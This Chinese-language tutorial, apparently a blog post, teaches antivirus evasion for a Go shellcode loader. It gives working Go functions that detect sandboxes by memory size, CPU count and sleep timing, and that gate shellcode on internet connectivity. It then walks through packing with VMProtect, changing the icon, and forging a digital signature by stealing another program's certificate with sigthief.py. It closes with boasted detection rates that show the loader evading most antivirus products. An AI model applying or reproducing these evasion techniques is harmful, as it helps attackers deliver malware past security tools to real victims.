基于Go实现沙箱检测和条件触发(Ⅱ)
前言
因为微步和VT之类的都是虚拟环境运行,所以说可以通过一些沙箱检测的手段,来让shellcode不被加载,从而达到防检测的目的。
沙箱检测
1、检测系统物理内存大小是否大于4G
func physicalMemory() (int, error) {
var mod = syscall.NewLazyDLL("kernel32.dll")//懒加载dll
var proc = mod.NewProc("GetPhysicallyInstalledSystemMemory")//获取 检测系统内存大小的函数
var mem uint64 //开个这个系统内存中的变量 然后传入函数,返回内存大小
proc.Call(uintptr(unsafe.Pointer(&mem)))
mem = mem / 1048576 //内存大小/1G,如果小于4,则返回0,大于4则返回1
if mem < 4 {
return 0, nil
}
return 1, nil
}
physicalMemory, _ := physicalMemory()//物理内存是否大于4g,大于4g返回1
2、延迟运行
//延迟运行
func timeSleep() (int, error) {
startTime := time.Now()
time.Sleep(5 * time.Second)
endTime := time.Now()
sleepTime := endTime.Sub(startTime)
if sleepTime >= 5*time.Second { //判断是否延时成功,成功返回1,失败返回0
return 1, nil
} else {
return 0, nil
}
}
sleeptime, _ := timeSleep() //延迟运行是否成功
3、检测CPU核心数
func numberOfCPU() (int, error) {
a := runtime.NumCPU()
if a < 4 {
return 0, nil
} else {
return 1, nil
}
}
cpuNumber, _ := numberOfCPU()//cpu核心数量,大于4返回1
条件触发
因为大多数沙盒是没通外网的,所以网络连通性正常的时候,再执行shellcode,能一定程度上绕过沙箱检测
//检测网络连通性
func NetworkCheck() (int, error){
u, _ := url.Parse("https://www.baidu.com/") //检查网络连通性
q := u.Query()
u.RawQuery = q.Encode()
res, err := http.Get(u.String())
resCode := res.StatusCode
res.Body.Close()
if resCode == 200{
return 1, err
}
return 0, err
}
resStatus, _ := NetworkCheck()//检测网络连通性
改exe资源属性、加壳、伪造数字签名
通过这些方法可以更为有效的加大沙箱分析检测的难度,从而使得免杀效果更好。
1、改图标
改ico图标可以通过ResourceHacker
这个工具来修改,只需要把exe拖进去,然后再添加ico格式的图片再保存即可
2、加壳
这里选择加VMP壳,直接通过VMProtect Ultimate
把exe打开,然后再编译就行了,就可以得到一个xxx.vmp.exe
3、伪造数字签名
这里伪造数字签名可以使用sigthief.py
py sigthief.py -i "想要窃取证书的exe路径(例如QQ.exe)" -t xxx.vmp.exe -o xxx.exe(最后输出的文件名)
然后就得到了加了数字签名的exe。
免杀效果
微步在线沙箱 1/22
VT 9/70
能过国内所有杀软,以及绝大部分国外杀软。
Windwos Defender
能过静态查杀,过不了动态查杀。
运行猫猫.exe,就会被动态查杀了,检测出CS特征。